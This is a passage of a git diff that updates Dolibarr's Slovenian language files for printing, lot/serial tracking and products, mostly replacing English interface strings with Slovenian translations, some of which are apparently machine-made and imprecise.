      Izvorni naslov IP: %s
      ID transakcije: %s diff --git a/htdocs/langs/sl_SI/printing.lang b/htdocs/langs/sl_SI/printing.lang index ed398b93972..60868cc73ba 100644 --- a/htdocs/langs/sl_SI/printing.lang +++ b/htdocs/langs/sl_SI/printing.lang @@ -1,33 +1,33 @@ # Dolibarr language file - Source file is en_US - printing -Module64000Name=One click Printing -Module64000Desc=Enable One click Printing System -PrintingSetup=Setup of One click Printing System -PrintingDesc=This module adds a Print button to various modules to allow documents to be printed directly to a printer with no need to open the document into another application. -MenuDirectPrinting=One click Printing jobs -DirectPrint=One click Print +Module64000Name=Tiskanje z enim klikom +Module64000Desc=Omogoči sistem tiskanja z enim klikom +PrintingSetup=Nastavitev sistema tiskanja z enim klikom +PrintingDesc=Ta modul različnim modulom doda gumb Natisni, ki omogoča tiskanje dokumentov neposredno na tiskalnik, ne da bi bilo treba dokument odpreti v drugi aplikaciji. +MenuDirectPrinting=Tiskanje z enim klikom +DirectPrint=Tiskanje z enim klikom PrintingDriverDesc=Konfiguracija spremenljivk za gonilnik tiskalnika ListDrivers=Seznam gonilnikov PrintTestDesc=Seznam tiskalnikov. FileWasSentToPrinter=Datoteka %s je bila poslana na tiskalnik -ViaModule=via the module -NoActivePrintingModuleFound=No active driver to print document. Check setup of module %s. +ViaModule=preko modula +NoActivePrintingModuleFound=Ni aktivnega gonilnika za tiskanje dokumenta. Preverite nastavitev modula %s. PleaseSelectaDriverfromList=Prosimo, izberite gonilnik s seznama. -PleaseConfigureDriverfromList=Please configure the selected driver from list. +PleaseConfigureDriverfromList=Prosimo, konfigurirajte izbrani gonilnik s seznama. SetupDriver=Nastavitev gonilnika TargetedPrinter=Ciljni tiskalnik UserConf=Nastavitev po uporabniku -PRINTGCP_INFO=Google OAuth API setup -PRINTGCP_AUTHLINK=Authentication +PRINTGCP_INFO=Nastavitev Google OAuth API +PRINTGCP_AUTHLINK=Preverjanje pristnosti PRINTGCP_TOKEN_ACCESS=Google Cloud Print OAuth Token -PrintGCPDesc=This driver allows sending documents directly to a printer using Google Cloud Print. +PrintGCPDesc=Ta gonilnik omogoča pošiljanje dokumentov neposredno v tiskalnik z uporabo Google Tiskanja v oblaku. GCP_Name=Priimek -GCP_displayName=Display Name -GCP_Id=Printer Id -GCP_OwnerName=Owner Name -GCP_State=Printer State -GCP_connectionStatus=Online State -GCP_Type=Printer Type -PrintIPPDesc=This driver allows sending of documents directly to a printer. It requires a Linux system with CUPS installed. +GCP_displayName=Prikazno ime +GCP_Id=ID tiskalnika +GCP_OwnerName=Ime lastnika +GCP_State=Stanje tiskalnika +GCP_connectionStatus=Spletna država +GCP_Type=Vrsta tiskalnika +PrintIPPDesc=Ta gonilnik omogoča pošiljanje dokumentov neposredno v tiskalnik. Potrebuje sistem Linux z nameščenim CUPS. PRINTIPP_HOST=Tiskalniški strežnik PRINTIPP_PORT=Vrata PRINTIPP_USER=Uporabniško ime @@ -35,20 +35,20 @@ PRINTIPP_PASSWORD=Geslo NoDefaultPrinterDefined=Ni izbran privzet tiskalnik DefaultPrinter=Privzet tiskalnik Printer=Tiskalnik -IPP_Uri=Printer Uri -IPP_Name=Printer Name -IPP_State=Printer State -IPP_State_reason=State reason -IPP_State_reason1=State reason1 -IPP_BW=BW +IPP_Uri=Uri tiskalnika +IPP_Name=Ime tiskalnika +IPP_State=Stanje tiskalnika +IPP_State_reason=Navedite razlog +IPP_State_reason1=Navedite razlog 1 +IPP_BW=ČB IPP_Color=Barva -IPP_Device=Device -IPP_Media=Printer media -IPP_Supported=Type of media -DirectPrintingJobsDesc=This page lists printing jobs found for available printers. -GoogleAuthNotConfigured=Google OAuth has not been setup. Enable module OAuth and set a Google ID/Secret. -GoogleAuthConfigured=Google OAuth credentials were found into setup of module OAuth. -PrintingDriverDescprintgcp=Configuration variables for printing driver Google Cloud Print. -PrintingDriverDescprintipp=Configuration variables for printing driver Cups. -PrintTestDescprintgcp=List of Printers for Google Cloud Print. -PrintTestDescprintipp=List of Printers for Cups. +IPP_Device=Naprava +IPP_Media=Tiskalni mediji +IPP_Supported=Vrsta medija +DirectPrintingJobsDesc=Na tej strani so navedena tiskalna opravila, najdena za razpoložljive tiskalnike. +GoogleAuthNotConfigured=Google OAuth ni bil nastavljen. Omogočite modul OAuth in nastavite Google ID/skrivnost. +GoogleAuthConfigured=V nastavitvah modula OAuth so bile najdene poverilnice Google OAuth. +PrintingDriverDescprintgcp=Konfiguracijske spremenljivke za tiskalni gonilnik Google Cloud Print. +PrintingDriverDescprintipp=Konfiguracijske spremenljivke za tiskanje skodelic gonilnika. +PrintTestDescprintgcp=Seznam tiskalnikov za Google Tiskanje v oblaku. +PrintTestDescprintipp=Seznam tiskalnikov za skodelice. diff --git a/htdocs/langs/sl_SI/productbatch.lang b/htdocs/langs/sl_SI/productbatch.lang index 32b638a7dd6..9e3c743027f 100644 --- a/htdocs/langs/sl_SI/productbatch.lang +++ b/htdocs/langs/sl_SI/productbatch.lang @@ -1,45 +1,47 @@ # ProductBATCH language file - Source file is en_US - ProductBATCH -ManageLotSerial=Use lot/serial number -ProductStatusOnBatch=Yes (lot required) -ProductStatusOnSerial=Yes (unique serial number required) -ProductStatusNotOnBatch=No (lot/serial not used) +ManageLotSerial=Uporabite serijsko številko serije +ProductStatusOnBatch=Da (potrebno veliko) +ProductStatusOnSerial=Da (potrebna je edinstvena serijska številka) +ProductStatusNotOnBatch=Ne (lot/serija ni uporabljena) ProductStatusOnBatchShort=Lot -ProductStatusOnSerialShort=Serial +ProductStatusOnSerialShort=Serijski ProductStatusNotOnBatchShort=Ne -Batch=Lot/Serial -atleast1batchfield=Eat-by date or Sell-by date or Lot/Serial number -batch_number=Lot/Serial number -BatchNumberShort=Lot/Serial -EatByDate=Eat-by date -SellByDate=Sell-by date -DetailBatchNumber=Lot/Serial details -printBatch=Lot/Serial: %s -printEatby=Eat-by: %s -printSellby=Sell-by: %s -printQty=Qty: %d -AddDispatchBatchLine=Add a line for Shelf Life dispatching -WhenProductBatchModuleOnOptionAreForced=When module Lot/Serial is on, automatic stock decrease is forced to 'Decrease real stocks on shipping validation' and automatic increase mode is forced to 'Increase real stocks on manual dispatching into warehouses' and can't be edited. Other options can be defined as you want. -ProductDoesNotUseBatchSerial=This product does not use lot/serial number -ProductLotSetup=Setup of module lot/serial -ShowCurrentStockOfLot=Show current stock for couple product/lot -ShowLogOfMovementIfLot=Show log of movements for couple product/lot -StockDetailPerBatch=Stock detail per lot -SerialNumberAlreadyInUse=Serial number %s is already used for product %s -TooManyQtyForSerialNumber=You can only have one product %s for serial number %s -ManageLotMask=Custom mask -CustomMasks=Option to define a different numbering mask for each product -BatchLotNumberingModules=Numbering rule for automatic generation of lot number -BatchSerialNumberingModules=Numbering rule for automatic generation of serial number (for products with property 1 unique lot/serial for each product) -QtyToAddAfterBarcodeScan=Qty to %s for each barcode/lot/serial scanned -LifeTime=Life span (in days) -EndOfLife=End of life -ManufacturingDate=Manufacturing date -DestructionDate=Destruction date -FirstUseDate=First use date -QCFrequency=Quality control frequency (in days) -ShowAllLots=Show all lots -HideLots=Hide lots +Batch=Serija/serija +atleast1batchfield=Rok uporabnosti ali rok uporabnosti ali številka lota/serijske številke +batch_number=Lot/Serijska številka +BatchNumberShort=Serija/serija +EatByDate=Jesti po datumu +SellByDate=Rok uporabnosti +DetailBatchNumber=Podrobnosti o lotu/seriji +printBatch=Lot/serija: %s +printEatby=Prehranjevanje: %s +printSellby=Prodam: %s +printQty=Količina: %d +printPlannedWarehouse=Skladišče: %s +AddDispatchBatchLine=Dodajte vrstico za odpremo roka uporabnosti +WhenProductBatchModuleOnOptionAreForced=Ko je modul Lot/Serial vklopljen, je samodejno zmanjševanje zalog prisiljeno na 'Zmanjšanje dejanskih zalog ob potrditvi pošiljanja', način samodejnega povečanja pa je prisiljen v 'Povečanje dejanskih zalog pri ročnem pošiljanju v skladišča' in ga ni mogoče urejati. Druge možnosti lahko določite po želji. +ProductDoesNotUseBatchSerial=Ta izdelek ne uporablja številke lota/serijske številke +ProductLotSetup=Nastavitev sklopa/serije modula +ShowCurrentStockOfLot=Pokaži trenutno zalogo za nekaj izdelkov/lotov +ShowLogOfMovementIfLot=Pokaži dnevnik premikov za par izdelkov/lotov +StockDetailPerBatch=Podrobnosti o zalogi na lot +SerialNumberAlreadyInUse=Serijska številka %s se že uporablja za izdelek %s +TooManyQtyForSerialNumber=Za serijsko številko %s lahko imate samo en izdelek %s +ManageLotMask=Maska po meri +CustomMasks=Možnost določitve drugačne maske oštevilčenja za vsak izdelek +BatchLotNumberingModules=Pravilo oštevilčenja za samodejno ustvarjanje številke lota +BatchSerialNumberingModules=Pravilo oštevilčevanja za samodejno ustvarjanje serijske številke (za izdelke z lastnostjo 1 edinstvena serija/serija za vsak izdelek) +QtyToAddAfterBarcodeScan=Količina do %s za vsako skenirano črtno kodo/lot/serijsko številko +LifeTime=Življenjska doba (v dnevih) +EndOfLife=Konec življenja +ManufacturingDate=Datum izdelave +DestructionDate=Datum uničenja +FirstUseDate=Datum prve uporabe +QCFrequency=Pogostost kontrole kakovosti (v dnevih) +ShowAllLots=Prikaži vse sklope +HideLots=Skrij lote #Traceability - qc status -OutOfOrder=Out of order -InWorkingOrder=In working order -ToReplace=Replace +OutOfOrder=Ne deluje +InWorkingOrder=V delujočem stanju +ToReplace=Zamenjati +CantMoveNonExistantSerial=Napaka. Zahtevate premik na zapisu za serijo, ki ne obstaja več. Lahko, da isto serijo vzamete v istem skladišču večkrat v isti pošiljki ali pa je bila uporabljena v drugi pošiljki. Odstranite to pošiljko in pripravite drugo. diff --git a/htdocs/langs/sl_SI/products.lang b/htdocs/langs/sl_SI/products.lang index b82a8300e02..dd04377f57a 100644 --- a/htdocs/langs/sl_SI/products.lang +++ b/htdocs/langs/sl_SI/products.lang @@ -1,10 +1,10 @@ # Dolibarr language file - Source file is en_US - products ProductRef=Referenca proizvoda ProductLabel=Naziv proizvoda -ProductLabelTranslated=Translated product label -ProductDescription=Product description -ProductDescriptionTranslated=Translated product description -ProductNoteTranslated=Translated product note +ProductLabelTranslated=Prevedena oznaka izdelka +ProductDescription=Opis izdelka +ProductDescriptionTranslated=Preveden opis izdelka +ProductNoteTranslated=Prevedena opomba o izdelku ProductServiceCard=Kartica proizvoda/storitve TMenuProducts=Proizvodi TMenuServices=Storitve @@ -17,43 +17,43 @@ Create=Kreiraj Reference=Referenca NewProduct=Nov proizvod NewService=Nova storitev -ProductVatMassChange=Global VAT Update -ProductVatMassChangeDesc=This tool updates the VAT rate defined on ALL products and services! +ProductVatMassChange=Globalna posodobitev DDV +ProductVatMassChangeDesc=To orodje posodablja stopnjo DDV, določeno za VSE izdelke in storitve! MassBarcodeInit=Vzpostavitev masovne črtne kode MassBarcodeInitDesc=Na tej strani lahko vzpostavite črtno kodo za objekte, ki črtne kode nimajo določene. Pred tem preverite, da je zaključena nastavitev modula za črtne kode. -ProductAccountancyBuyCode=Accounting code (purchase) -ProductAccountancyBuyIntraCode=Accounting code (purchase intra-community) -ProductAccountancyBuyExportCode=Accounting code (purchase import) -ProductAccountancySellCode=Accounting code (sale) -ProductAccountancySellIntraCode=Accounting code (sale intra-Community) -ProductAccountancySellExportCode=Accounting code (sale export) +ProductAccountancyBuyCode=Knjigovodska oznaka (nakup) +ProductAccountancyBuyIntraCode=Računovodska koda (nakup znotraj skupnosti) +ProductAccountancyBuyExportCode=Knjigovodska šifra (nakup uvoz) +ProductAccountancySellCode=Knjigovodska šifra (prodaja) +ProductAccountancySellIntraCode=Računovodska koda (prodaja znotraj Skupnosti) +ProductAccountancySellExportCode=Knjigovodska oznaka (prodaja izvoz) ProductOrService=Proizvod ali storitev ProductsAndServices=Proizvodi in storitve ProductsOrServices=Proizvodi ali storitve -ProductsPipeServices=Products | Services -ProductsOnSale=Products for sale -ProductsOnPurchase=Products for purchase -ProductsOnSaleOnly=Products for sale only -ProductsOnPurchaseOnly=Products for purchase only -ProductsNotOnSell=Products not for sale and not for purchase +ProductsPipeServices=Izdelki | Storitve +ProductsOnSale=Izdelki za prodajo +ProductsOnPurchase=Izdelki za nakup +ProductsOnSaleOnly=Izdelki samo za prodajo +ProductsOnPurchaseOnly=Izdelki samo za nakup +ProductsNotOnSell=Izdelki niso naprodaj in niso za nakup ProductsOnSellAndOnBuy=Proizvodi za prodajo ali nabavo -ServicesOnSale=Services for sale -ServicesOnPurchase=Services for purchase -ServicesOnSaleOnly=Services for sale only -ServicesOnPurchaseOnly=Services for purchase only -ServicesNotOnSell=Services not for sale and not for purchase +ServicesOnSale=Storitve za prodajo +ServicesOnPurchase=Storitve za nakup +ServicesOnSaleOnly=Storitve samo za prodajo +ServicesOnPurchaseOnly=Storitve samo za nakup +ServicesNotOnSell=Storitve niso naprodaj in niso za nakup ServicesOnSellAndOnBuy=Storitve za prodajo ali za nabavo -LastModifiedProductsAndServices=Latest %s products/services which were modified -LastRecordedProducts=Latest %s recorded products -LastRecordedServices=Latest %s recorded services +LastModifiedProductsAndServices=Najnovejši %s izdelki/storitve, ki so bili spremenjeni +LastRecordedProducts=Najnovejši %s posneti izdelki +LastRecordedServices=Zadnje %s zabeležene storitve CardProduct0=Proizvod CardProduct1=Storitev Stock=Zaloga MenuStocks=Zaloge -Stocks=Stocks and location (warehouse) of products +Stocks=Zaloge in lokacija (skladišče) izdelkov Movements=Premiki Sell=Prodaja -Buy=Purchase +Buy=Nakup OnSell=Prodano OnBuy=Nabavljeno NotOnSell=Opuščeno @@ -65,30 +65,30 @@ ProductStatusOnBuy=Na voljo ProductStatusNotOnBuy=Opuščeno ProductStatusOnBuyShort=Na voljo ProductStatusNotOnBuyShort=Opuščeno -UpdateVAT=Update vat -UpdateDefaultPrice=Update default price -UpdateLevelPrices=Update prices for each level -AppliedPricesFrom=Applied from +UpdateVAT=Posodobi vat +UpdateDefaultPrice=Posodobi privzeto ceno +UpdateLevelPrices=Posodobite cene za vsako raven +AppliedPricesFrom=Uporabljeno od SellingPrice=Prodajna cena -SellingPriceHT=Selling price (excl. tax) +SellingPriceHT=Prodajna cena (brez davka) SellingPriceTTC=Prodajne cene (z DDV) -SellingMinPriceTTC=Minimum Selling price (inc. tax) -CostPriceDescription=This price field (excl. tax) can be used to capture the average amount this product costs to your company. It may be any price you calculate yourself, for example, from the average buying price plus average production and distribution cost. -CostPriceUsage=This value could be used for margin calculation. -ManufacturingPrice=Manufacturing price -SoldAmount=Sold amount -PurchasedAmount=Purchased amount +SellingMinPriceTTC=Najnižja prodajna cena (vključno z davkom) +CostPriceDescription=To polje cene (brez davka) lahko uporabite za zajem povprečnega zneska, ki ga ta izdelek stane za vaše podjetje. To je lahko katera koli cena, ki jo izračunate sami, na primer iz povprečne nabavne cene plus povprečni stroški proizvodnje in distribucije. +CostPriceUsage=To vrednost bi lahko uporabili za izračun marže. +ManufacturingPrice=Cena izdelave +SoldAmount=Prodana količina +PurchasedAmount=Kupljena količina NewPrice=Nova cena -MinPrice=Min. selling price -EditSellingPriceLabel=Edit selling price label +MinPrice=Min. prodajna cena +EditSellingPriceLabel=Uredi oznako prodajne cene CantBeLessThanMinPrice=Prodajna cena ne more biti nižja od minimalne za ta proizvod (%s brez DDV). To sporočilo se pojavi lahko tudi, če vnesete prevelik popust ContractStatusClosed=Zaprta ErrorProductAlreadyExists=Proizvod z referenco %s že obstaja. ErrorProductBadRefOrLabel=Napačna vrednost reference ali naziva. ErrorProductClone=Prišlo je do težave pri poskusu kloniranja proizvoda ali storitve. ErrorPriceCantBeLowerThanMinPrice=Napaka, cena ne more biti nižja od minimalne cene. -Suppliers=Vendors -SupplierRef=Vendor SKU +Suppliers=Dobavitelji +SupplierRef=SKU dobavitelja ShowProduct=Prikaži proizvod ShowService=Prikaži storitev ProductsAndServicesArea=Področje proizvodov in storitev @@ -96,8 +96,8 @@ ProductsArea=Področje proizvodov ServicesArea=Področje storitev ListOfStockMovements=Seznam gibanja zalog BuyingPrice=Nabavna cena -PriceForEachProduct=Products with specific prices -SupplierCard=Vendor card +PriceForEachProduct=Izdelki s posebnimi cenami +SupplierCard=Kartica dobavitelja PriceRemoved=Cena odstranjena BarCode=Črtna koda BarcodeType=Tip črtne kode @@ -105,25 +105,25 @@ SetDefaultBarcodeType=Nastavi tip črtne kode BarcodeValue=Vrednost črtne kode NoteNotVisibleOnBill=Opomba (ni vidna na računih, ponudbah...) ServiceLimitedDuration=Če ima proizvod storitev z omejenim trajanjem: -FillWithLastServiceDates=Fill with last service line dates -MultiPricesAbility=Multiple price segments per product/service (each customer is in one price segment) +FillWithLastServiceDates=Izpolnite z zadnjimi datumi storitev +MultiPricesAbility=Več cenovnih segmentov na izdelek/storitev (vsaka stranka je v enem cenovnem segmentu) MultiPricesNumPrices=Število cen -DefaultPriceType=Base of prices per default (with versus without tax) when adding new sale prices -AssociatedProductsAbility=Enable Kits (set of several products) -VariantsAbility=Enable Variants (variations of products, for example color, size) -AssociatedProducts=Kits -AssociatedProductsNumber=Number of products composing this kit +DefaultPriceType=Osnova privzetih cen (z ali brez davka) pri dodajanju novih prodajnih cen +AssociatedProductsAbility=Omogoči komplete (nabor več izdelkov) +VariantsAbility=Omogoči različice (različice izdelkov, na primer barva, velikost) +AssociatedProducts=Kompleti +AssociatedProductsNumber=Število izdelkov, ki sestavljajo ta komplet ParentProductsNumber=Število nadrejenih sestavljenih izdelkov -ParentProducts=Parent products -IfZeroItIsNotAVirtualProduct=If 0, this product is not a kit -IfZeroItIsNotUsedByVirtualProduct=If 0, this product is not used by any kit +ParentProducts=Starševski izdelki +IfZeroItIsNotAVirtualProduct=Če je 0, ta izdelek ni komplet +IfZeroItIsNotUsedByVirtualProduct=Če je 0, tega izdelka ne uporablja noben komplet KeywordFilter=Filter ključnih besed CategoryFilter=Filter kategorij ProductToAddSearch=Iskanje proizvoda za dodajanje NoMatchFound=Ni ujemanja -ListOfProductsServices=List of products/services -ProductAssociationList=List of products/services that are component(s) of this kit -ProductParentList=List of kits with this product as a component +ListOfProductsServices=Seznam izdelkov/storitev +ProductAssociationList=Seznam izdelkov/storitev, ki so komponente tega kompleta +ProductParentList=Seznam kompletov s tem izdelkom kot komponento ErrorAssociationIsFatherOfThis=Eden od izbranih proizvodov je nadrejen trenutnemu proizvodu DeleteProduct=Izbriši proizvod/storitev ConfirmDeleteProduct=Ali zares želite izbrisati ta proizvod/storitev? @@ -135,21 +135,22 @@ ImportDataset_service_1=Storitve DeleteProductLine=Izbriši vrstico proizvoda ConfirmDeleteProductLine=Ali zares želite izbrisati to vrstico proizvoda? ProductSpecial=Specialni -QtyMin=Min. purchase quantity -PriceQtyMin=Price quantity min. -PriceQtyMinCurrency=Price (currency) for this qty. (no discount) -VATRateForSupplierProduct=VAT Rate (for this vendor/product) -DiscountQtyMin=Discount for this qty. -NoPriceDefinedForThisSupplier=No price/qty defined for this vendor/product -NoSupplierPriceDefinedForThisProduct=No vendor price/qty defined for this product -PredefinedItem=Predefined item -PredefinedProductsToSell=Predefined Product -PredefinedServicesToSell=Predefined Service +QtyMin=Min. nakupna količina +PriceQtyMin=Cena količina min. +PriceQtyMinCurrency=Cena (valuta) za to kol. +WithoutDiscount=Brez popusta +VATRateForSupplierProduct=Stopnja DDV (za dobavitelja/izdelek) +DiscountQtyMin=Popust za to količino. +NoPriceDefinedForThisSupplier=Cena/količina ni določena za dobavitelja/izdelek +NoSupplierPriceDefinedForThisProduct=Za izdelek dobavitelj ni določil cene/količino +PredefinedItem=Vnaprej določen element +PredefinedProductsToSell=Vnaprej določen izdelek +PredefinedServicesToSell=Vnaprej določena storitev PredefinedProductsAndServicesToSell=Vnaprej določeni proizvodi/storitve za prodajo PredefinedProductsToPurchase=Vnaprej določen proizvodi za nakup PredefinedServicesToPurchase=Vnaprej določene storitve za nakup -PredefinedProductsAndServicesToPurchase=Predefined products/services to purchase -NotPredefinedProducts=Not predefined products/services +PredefinedProductsAndServicesToPurchase=Vnaprej določeni izdelki/storitve za nakup +NotPredefinedProducts=Ni vnaprej določenih izdelkov/storitev GenerateThumb=Generiraj sličico ServiceNb=Storitev št. %s ListProductServiceByPopularity=Seznam proizvodov/storitev po priljubljenosti @@ -157,26 +158,26 @@ ListProductByPopularity=Seznam proizvodov po priljubljenosti ListServiceByPopularity=Seznam storitev po priljubljenosti Finished=Končni izdelek RowMaterial=Osnovni material -ConfirmCloneProduct=Are you sure you want to clone product or service %s? -CloneContentProduct=Clone all main information of the product/service -ClonePricesProduct=Clone prices -CloneCategoriesProduct=Clone linked tags/categories -CloneCompositionProduct=Clone virtual products/services -CloneCombinationsProduct=Clone the product variants +ConfirmCloneProduct=Ali ste prepričani, da želite klonirati izdelek ali storitev %s ? +CloneContentProduct=Klonirajte vse glavne informacije o izdelku/storitvi +ClonePricesProduct=Cene klonov +CloneCategoriesProduct=Kloniraj povezane oznake/kategorije +CloneCompositionProduct=Klonirajte virtualne izdelke/storitve +CloneCombinationsProduct=Klonirajte različice izdelka ProductIsUsed=Ta proizvod je rabljen NewRefForClone=Ref. novega proizvoda/storitve -SellingPrices=Selling prices -BuyingPrices=Buying prices +SellingPrices=Prodajne cene +BuyingPrices=Odkupne cene CustomerPrices=Cene za kupce -SuppliersPrices=Vendor prices -SuppliersPricesOfProductsOrServices=Vendor prices (of products or services) -CustomCode=Customs|Commodity|HS code -CountryOrigin=Country of origin -RegionStateOrigin=Region of origin -StateOrigin=State|Province of origin -Nature=Nature of product (raw/manufactured) -NatureOfProductShort=Nature of product -NatureOfProductDesc=Raw material or manufactured product +SuppliersPrices=Dobaviteljeve cene +SuppliersPricesOfProductsOrServices=Dobaviteljeve cene (izdelkov ali storitev) +CustomCode=Carina|Blago |Oznaka HS +CountryOrigin=Država izvora +RegionStateOrigin=Regija izvora +StateOrigin=Država|Pokrajina izvora +Nature=Vrsta izdelka (surov/proizveden) +NatureOfProductShort=Narava izdelka +NatureOfProductDesc=Surovina ali izdelan izdelek ShortLabel=Kratek naziv Unit=Enota p=e. @@ -199,36 +200,36 @@ m2=m² m3=m³ liter=liter l=l -unitP=Piece +unitP=Kos unitSET=Set unitS=Sekunda unitH=Ura unitD=Dan -unitG=Gram -unitM=Meter -unitLM=Linear meter -unitM2=Square meter -unitM3=Cubic meter +unitG=gram +unitM=Merilnik +unitLM=Linearni meter +unitM2=Kvadratni meter +unitM3=Kubični meter unitL=Liter unitT=ton unitKG=kg -unitG=Gram +unitG=gram unitMG=mg unitLB=funt unitOZ=unča -unitM=Meter +unitM=Merilnik unitDM=dm unitCM=cm unitMM=mm unitFT=ft -unitIN=in -unitM2=Square meter +unitIN=v +unitM2=Kvadratni meter unitDM2=dm² unitCM2=cm² unitMM2=mm² unitFT2=ft² unitIN2=in² -unitM3=Cubic meter +unitM3=Kubični meter unitDM3=dm³ unitCM3=cm³ unitMM3=mm³ @@ -242,172 +243,189 @@ CurrentProductPrice=Trenutna cena AlwaysUseNewPrice=Vedno uporabi trenutno ceno proizvoda/storitve AlwaysUseFixedPrice=Uporabi fiksno ceno PriceByQuantity=Različne cene glede na količino -DisablePriceByQty=Disable prices by quantity +DisablePriceByQty=Onemogoči cene po količini PriceByQuantityRange=Območje količin -MultipriceRules=Automatic prices for segment -UseMultipriceRules=Use price segment rules (defined into product module setup) to auto calculate prices of all other segments according to first segment -PercentVariationOver=%% variation over %s -PercentDiscountOver=%% discount over %s -KeepEmptyForAutoCalculation=Keep empty to have this calculated automatically from weight or volume of products -VariantRefExample=Examples: COL, SIZE -VariantLabelExample=Examples: Color, Size +MultipriceRules=Samodejne cene za segment +UseMultipriceRules=Uporabite pravila cenovnega segmenta (definirana v nastavitvah modula izdelka) za samodejni izračun cen vseh drugih segmentov glede na prvi segment +PercentVariationOver=%% različica nad %s +PercentDiscountOver=%% popust nad %s +KeepEmptyForAutoCalculation=Pustite prazno, da se to samodejno izračuna iz teže ali prostornine izdelkov +VariantRefExample=Primeri: COL, SIZE +VariantLabelExample=Primeri: barva, velikost ### composition fabrication Build=Proizvodnja -ProductsMultiPrice=Products and prices for each price segment +ProductsMultiPrice=Izdelki in cene za vsak cenovni segment ProductsOrServiceMultiPrice=Cene za kupca (proizvodov ali storitev, večcenovno) -ProductSellByQuarterHT=Products turnover quarterly before tax -ServiceSellByQuarterHT=Services turnover quarterly before tax +ProductSellByQuarterHT=Promet izdelkov četrtletno pred obdavčitvijo +ServiceSellByQuarterHT=Promet storitev četrtletno pred obdavčitvijo Quarter1=1. četrtletje Quarter2=2. četrtletje Quarter3=3. četrtletje Quarter4=4. četrtletje -BarCodePrintsheet=Print barcode -PageToGenerateBarCodeSheets=With this tool, you can print sheets of barcode stickers. Choose format of your sticker page, type of barcode and value of barcode, then click on button %s. +BarCodePrintsheet=Natisnite črtne kode +PageToGenerateBarCodeSheets=S tem orodjem lahko natisnete liste nalepk s črtno kodo. Izberite obliko vaše strani z nalepko, vrsto črtne kode in vrednost črtne kode, nato kliknite gumb %s . NumberOfStickers=Število nalepk za tiskanje na stran PrintsheetForOneBarCode=Tiskaj več nalepk za eno črtno kodo BuildPageToPrint=Generiraj stran za tiskanje FillBarCodeTypeAndValueManually=Ročno vnesi tip črtne kode in vrednost. FillBarCodeTypeAndValueFromProduct=Vnesi tip črtne kode in vrednost iz črtne kode proizvoda. -FillBarCodeTypeAndValueFromThirdParty=Fill barcode type and value from barcode of a third party. -DefinitionOfBarCodeForProductNotComplete=Definition of type or value of barcode not complete for product %s. -DefinitionOfBarCodeForThirdpartyNotComplete=Definition of type or value of barcode non complete for third party %s. -BarCodeDataForProduct=Barcode information of product %s: -BarCodeDataForThirdparty=Barcode information of third party %s: -ResetBarcodeForAllRecords=Define barcode value for all record (this will also reset barcode value already defined with new values) -PriceByCustomer=Different prices for each customer -PriceCatalogue=A single sell price per product/service -PricingRule=Rules for selling prices +FillBarCodeTypeAndValueFromThirdParty=Izpolnite vrsto črtne kode in vrednost črtne kode. +DefinitionOfBarCodeForProductNotComplete=Definicija vrste ali vrednosti črtne kode ni popolna za izdelek %s. +DefinitionOfBarCodeForThirdpartyNotComplete=Definicija vrste ali vrednosti črtne kode ni popolna za partnerja %s. +BarCodeDataForProduct=Informacije o črtni kodi izdelka %s: +BarCodeDataForThirdparty=Informacije o črtni kodi partnerja %s: +ResetBarcodeForAllRecords=Določite vrednost črtne kode za vse zapise (to bo tudi ponastavilo že definirano vrednost črtne kode z novimi vrednostmi) +PriceByCustomer=Za vsako stranko različne cene +PriceCatalogue=Enotna prodajna cena za izdelek/storitev +PricingRule=Pravila za prodajne cene AddCustomerPrice=Dodaj ceno po kupcu -ForceUpdateChildPriceSoc=Set same price on customer's subsidiaries +ForceUpdateChildPriceSoc=Nastavite enako ceno za hčerinske družbe stranke PriceByCustomerLog=Pregled prejšnjih cen za kupce MinimumPriceLimit=Minimalna cena ne more biti nižja kot %s -MinimumRecommendedPrice=Minimum recommended price is: %s +MinimumRecommendedPrice=Najnižja priporočena cena je: %s PriceExpressionEditor=Urejevalnik prikaza cene PriceExpressionSelected=Izbran prikaz cene PriceExpressionEditorHelp1="cena = 2 + 2" ali "2 + 2" za nastavitev cene. Uporabite ; za ločitev izrazov PriceExpressionEditorHelp2=Lahko dostopate do EkstraPolj s spremenljivkami kot #extrafield_myextrafieldkey# in globalnimi spremenljivkami kot #global_mycode# -PriceExpressionEditorHelp3=In both product/service and vendor prices there are these variables available:
      #tva_tx# #localtax1_tx# #localtax2_tx# #weight# #length# #surface# #price_min# -PriceExpressionEditorHelp4=In product/service price only: #supplier_min_price#
      In vendor prices only: #supplier_quantity# and #supplier_tva_tx# +PriceExpressionEditorHelp3=Pri cenah izdelka/storitve in prodajalca so na voljo te spremenljivke:
      #tva_tx# #localtax1_tx# #localtax2_tx# #weight# #length# #surface# #price_min# +PriceExpressionEditorHelp4=Samo v ceni izdelka/storitve: #supplier_min_price#
      Samo v cenah dobavitelja: #supplier_quantity# in #supplier_tva_tx# PriceExpressionEditorHelp5=Globalne vrednosti, ki so na voljo: PriceMode=Način cene PriceNumeric=Številka DefaultPrice=Privzeta cena -DefaultPriceLog=Log of previous default prices +DefaultPriceLog=Dnevnik prejšnjih privzetih cen ComposedProductIncDecStock=Povečanje/znmanjšanje zaloge pri spremembi nadrejenega -ComposedProduct=Child products +ComposedProduct=Otroški izdelki MinSupplierPrice=Najnižjo odkupno ceno -MinCustomerPrice=Minimum selling price -NoDynamicPrice=No dynamic price +MinCustomerPrice=Minimalna prodajna cena +NoDynamicPrice=Brez dinamične cene DynamicPriceConfiguration=Dimnamična konfiguracija cene -DynamicPriceDesc=You may define mathematical formulae to calculate Customer or Vendor prices. Such formulas can use all mathematical operators, some constants and variables. You can define here the variables you wish to use. If the variable needs an automatic update, you may define the external URL to allow Dolibarr to update the value automatically. -AddVariable=Add Variable -AddUpdater=Add Updater +DynamicPriceDesc=Določite lahko matematične formule za izračun cen strank ali prodajalcev. Take formule lahko uporabljajo vse matematične operatorje, nekatere konstante in spremenljivke. Tukaj lahko določite spremenljivke, ki jih želite uporabiti. Če spremenljivka potrebuje samodejno posodobitev, lahko definirate zunanji URL, da Dolibarrju omogočite samodejno posodobitev vrednosti. +AddVariable=Dodaj spremenljivko +AddUpdater=Dodaj posodobitev GlobalVariables=Globalne spremenljivke -VariableToUpdate=Variable to update -GlobalVariableUpdaters=External updaters for variables +VariableToUpdate=Spremenljivka za posodobitev +GlobalVariableUpdaters=Zunanji programi za posodabljanje spremenljivk GlobalVariableUpdaterType0=JSON podatki GlobalVariableUpdaterHelp0=Razčleni JSON podatke iz specifičnega URL, VALUE določa lokacijo ustrezne vrednosti, -GlobalVariableUpdaterHelpFormat0=Format for request {"URL": "http://example.com/urlofjson", "VALUE": "array1,array2,targetvalue"} 